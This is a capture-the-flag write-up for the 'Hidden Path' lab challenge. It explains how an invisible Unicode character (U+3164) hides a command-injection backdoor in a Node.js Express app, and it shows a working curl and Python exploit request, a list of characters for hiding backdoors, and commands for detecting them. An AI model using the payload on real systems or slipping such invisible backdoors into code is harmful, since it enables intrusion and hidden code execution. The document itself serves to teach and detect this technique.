Hidden Path

Platform: HackTheBox | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: command_injection, hidden_parameter_injection, unicode_homoglyph_attack

Summary

Legends speak of the infamous Kamara-Heto, a black-hat hacker of old who rose to fame as they brought entire countries to their knees. Opinions are divided over whether the fabled figure truly existed, but the success of the team surely lies in the hope that they did, for the location of the lost va

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: HackTheBox | ID: 20260129_hackthebox_hidden_path
• Tags: unicode, command_injection, javascript, invisible_characters, backdoor
• Indicators: Node.js Express app, destructuring assignment, array with user input, invisible characters in source
• Source: 20260129_hackthebox_hidden_path.md

Foothold

Vulnerability / Misconfiguration

1. command_injection
2. hidden_parameter_injection
3. unicode_homoglyph_attack

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• command_injection
• hidden_parameter_injection
• unicode_homoglyph_attack
• Tags: unicode, command_injection, javascript, invisible_characters, backdoor

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Legends speak of the infamous Kamara-Heto, a black-hat hacker of old who rose to fame as they brought entire countries to their knees. Opinions are divided over whether the fabled figure truly existed, but the success of the team surely lies in the hope that they did, for the location of the lost vault is only known to be held on what remains of the NSA's data centres. You have extracted the source code of a system check-up endpoint - can you find a way in? And was Kamara-Heto ever there?

Target: http://94.237.122.95:40335

Analysis

Source Code Review

The challenge provides source code for a Node.js Express application (app.js) that allows executing predefined system commands.

Finding Hidden Unicode Characters

Using hex dump analysis (xxd app.js), discovered hidden Unicode characters ㅤ (U+3164, Hangul Filler - an invisible Korean character) in two critical locations:

1. Line 15 - Destructuring assignment:

 javascript read-only • copy allowed Copy
const { choice,ㅤ} = req.body;

This extracts a hidden parameter named ㅤ (invisible character) from the request body.

2. Line 28 - Commands array:

 javascript read-only • copy allowed Copy
const commands = [
    'free -m',
    'uptime',
    'iostat',
    'mpstat',
    'netstat',
    'ps aux',ㅤ  // <-- 7th element (index 6) - value from req.body.ㅤ
];

The hidden variable is added as the 7th element of the commands array.

Vulnerability Analysis

• The application validates choice must be a number within bounds of the commands array
• The array has 6 visible elements (indices 0-5) plus 1 hidden element (index 6)
• The hidden element's value comes from user input via the invisible parameter ㅤ
• This allows arbitrary command execution by passing choice=6 and ㅤ=<command>

Solution

Hex Dump Analysis

 bash read-only • copy allowed Copy
xxd app.js | grep -A2 -B2 "e3 85 a4"

The Hangul Filler character (U+3164) appears as bytes e3 85 a4 in UTF-8.

Exploitation

Send a POST request with:

• choice=6 - to select the 7th (hidden) element
• %E3%85%A4=cat%20flag.txt - URL-encoded invisible character parameter with command

 bash read-only • copy allowed Copy
curl -s -X POST "http://94.237.122.95:40335/server_status" \
    -d "choice=6&%E3%85%A4=cat%20flag.txt"

Alternative with Python

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "http://94.237.122.95:40335/server_status"
invisible_char = "\u3164"  # Hangul Filler (U+3164)

data = {
    "choice": "6",
    invisible_char: "cat flag.txt"
}

response = requests.post(url, data=data)
print(response.text)

Unicode Characters for Backdoors

Common invisible/homoglyph characters used in attacks:

• U+3164 - Hangul Filler (ㅤ) - valid JS identifier
• U+200B - Zero Width Space
• U+200C - Zero Width Non-Joiner
• U+200D - Zero Width Joiner
• U+FEFF - Zero Width No-Break Space (BOM)
• Cyrillic/Greek lookalikes (а vs a, о vs o)

Detection Methods

 bash read-only • copy allowed Copy
# Hex dump to find hidden characters
xxd file.js | less

# Show non-ASCII characters
cat -A file.js

# Find specific Unicode ranges
grep -P '[^\x00-\x7F]' file.js

# Python detection
python3 -c "
import sys
for i, line in enumerate(open('file.js'), 1):
    for j, c in enumerate(line):
        if ord(c) > 127:
            print(f'Line {i}, Col {j}: U+{ord(c):04X} ({repr(c)})')
"

Lessons Learned

This challenge demonstrates the danger of homoglyph/invisible Unicode characters in source code. The Hangul Filler character (U+3164) is a valid JavaScript identifier but invisible to the naked eye, making it perfect for hiding backdoors in seemingly legitimate code. Always use hex dumps or specialized tools to detect such hidden characters in untrusted code.

References

• Unicode Security Considerations
• Trojan Source Attack
• JavaScript Identifier Names

</details>

---

signed by XESXOR